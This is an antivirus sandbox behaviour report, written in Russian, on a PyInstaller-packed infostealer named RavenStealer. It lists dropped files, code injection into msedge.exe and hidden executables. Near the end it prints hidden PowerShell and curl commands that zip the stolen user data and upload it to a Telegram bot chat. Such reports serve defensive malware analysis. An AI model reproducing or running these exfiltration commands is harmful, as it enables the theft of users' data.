Техническая информация
Вредоносные функции
Внедряет код в
следующие пользовательские процессы:
- msedge.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei44922\pyqt5\qt5\bin\msvcp140.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\msvcp140_1.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5core.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5dbus.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5gui.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5network.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5qml.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5qmlmodels.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5quick.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5svg.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5websockets.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\qt5widgets.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\vcruntime140.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\vcruntime140_1.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\d3dcompiler_47.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\libegl.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\libglesv2.dll
- %TEMP%\_mei44922\pyqt5\qt5\bin\opengl32sw.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\generic\qtuiotouchplugin.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\iconengines\qsvgicon.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qgif.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qicns.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qico.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qjpeg.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qsvg.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qtga.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qtiff.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qwbmp.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\imageformats\qwebp.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\platforms\qminimal.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\platforms\qoffscreen.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\platforms\qwebgl.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\platforms\qwindows.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\platformthemes\qxdgdesktopportal.dll
- %TEMP%\_mei44922\pyqt5\qt5\plugins\styles\qwindowsvistastyle.dll
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_ar.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_bg.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_ca.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_cs.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_da.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_de.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_en.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_es.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_fa.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_fi.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_fr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_gd.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_gl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_he.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_ar.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_bg.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_ca.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_cs.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_da.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_de.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_en.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_es.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_fr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_gl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_hu.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_it.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_ja.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_ko.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_pl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_ru.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_sk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_sl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_tr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_uk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_zh_cn.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_help_zh_tw.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_hu.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_it.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_ja.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_ko.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_lt.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_lv.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_pl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_pt.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_ru.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_sk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_sl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_sv.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_tr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_uk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_zh_cn.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qt_zh_tw.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_ar.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_bg.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_ca.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_cs.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_da.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_de.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_en.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_es.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_fi.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_fr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_gd.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_he.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_hu.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_it.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_ja.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_ko.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_lv.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_pl.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_ru.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_sk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_tr.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_uk.qm
- %TEMP%\_mei44922\pyqt5\qt5\translations\qtbase_zh_tw.qm
- %TEMP%\_mei44922\pyqt5\qtcore.pyd
- %TEMP%\_mei44922\pyqt5\qtgui.pyd
- %TEMP%\_mei44922\pyqt5\qtwidgets.pyd
- %TEMP%\_mei44922\pyqt5\sip.cp312-win_amd64.pyd
- %TEMP%\_mei44922\vcruntime140.dll
- %TEMP%\_mei44922\vcruntime140_1.dll
- %TEMP%\_mei44922\_asyncio.pyd
- %TEMP%\_mei44922\_bz2.pyd
- %TEMP%\_mei44922\_ctypes.pyd
- %TEMP%\_mei44922\_decimal.pyd
- %TEMP%\_mei44922\_hashlib.pyd
- %TEMP%\_mei44922\_lzma.pyd
- %TEMP%\_mei44922\_multiprocessing.pyd
- %TEMP%\_mei44922\_overlapped.pyd
- %TEMP%\_mei44922\_queue.pyd
- %TEMP%\_mei44922\_socket.pyd
- %TEMP%\_mei44922\_ssl.pyd
- %TEMP%\_mei44922\_uuid.pyd
- %TEMP%\_mei44922\_wmi.pyd
- %TEMP%\_mei44922\aiohttp\_http_parser.cp312-win_amd64.pyd
- %TEMP%\_mei44922\aiohttp\_http_writer.cp312-win_amd64.pyd
- %TEMP%\_mei44922\aiohttp\_websocket\mask.cp312-win_amd64.pyd
- %TEMP%\_mei44922\aiohttp\_websocket\reader_c.cp312-win_amd64.pyd
- %TEMP%\_mei44922\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei44922\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei44922\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei44922\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei44922\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei44922\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei44922\attrs-25.4.0.dist-info\installer
- %TEMP%\_mei44922\attrs-25.4.0.dist-info\metadata
- %TEMP%\_mei44922\attrs-25.4.0.dist-info\record
- %TEMP%\_mei44922\attrs-25.4.0.dist-info\wheel
- %TEMP%\_mei44922\attrs-25.4.0.dist-info\licenses\license
- %TEMP%\_mei44922\base_library.zip
- %TEMP%\_mei44922\certifi\cacert.pem
- %TEMP%\_mei44922\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei44922\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei44922\frozenlist\_frozenlist.cp312-win_amd64.pyd
- %TEMP%\_mei44922\libcrypto-3.dll
- %TEMP%\_mei44922\libffi-8.dll
- %TEMP%\_mei44922\libssl-3.dll
- %TEMP%\_mei44922\multidict\_multidict.cp312-win_amd64.pyd
- %TEMP%\_mei44922\propcache\_helpers_c.cp312-win_amd64.pyd
- %TEMP%\_mei44922\pyexpat.pyd
- %TEMP%\_mei44922\python3.dll
- %TEMP%\_mei44922\python312.dll
- %TEMP%\_mei44922\select.pyd
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\installer
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\metadata
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\record
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\wheel
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\licenses\license
- %TEMP%\_mei44922\setuptools\_vendor\importlib_metadata-8.7.1.dist-info\top_level.txt
- %TEMP%\_mei44922\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei44922\ucrtbase.dll
- %TEMP%\_mei44922\unicodedata.pyd
- %TEMP%\_mei44922\yarl\_quoting_c.cp312-win_amd64.pyd
- %TEMP%\59dr56t7
- %TEMP%\microsoft\winsxs\temp.exe
- %TEMP%\.win_update_cache
- %ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\chrome_debug.log
- %LOCALAPPDATA%\ravenstealer\screenshot.png
- %TEMP%\user_ravenstealer.zip
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\microsoft\winsxs\temp.exe
- %TEMP%\.win_update_cache
Удаляет файлы, которые сам же создал
- %TEMP%\59dr56t7
- %TEMP%\user_ravenstealer.zip
Сетевая активность
UDP
- DNS ASK ap#.##legram.org
Другое
Создает и запускает на исполнение
- '%TEMP%\microsoft\winsxs\temp.exe'
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "ver" (со скрытым окном)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --headless --disable-gpu --disable-software-rasterizer --no-sandbox (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Compress-Archive -Path '%LOCALAPPDATA%\RavenStealer\*' -DestinationPath '%TEMP%\user_RavenStealer.zip' -Force -ErrorAction SilentlyCo... (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -o nul -F "chat_id=-1003887351794" -F "document=@%TEMP%\user_RavenStealer.zip" -F "caption=RavenStealer Report for user@Windows 8\n\nNo significant data found on this system." https://api.te... (со скрытым окном)
- '%TEMP%\microsoft\winsxs\temp.exe' (со скрытым окном)
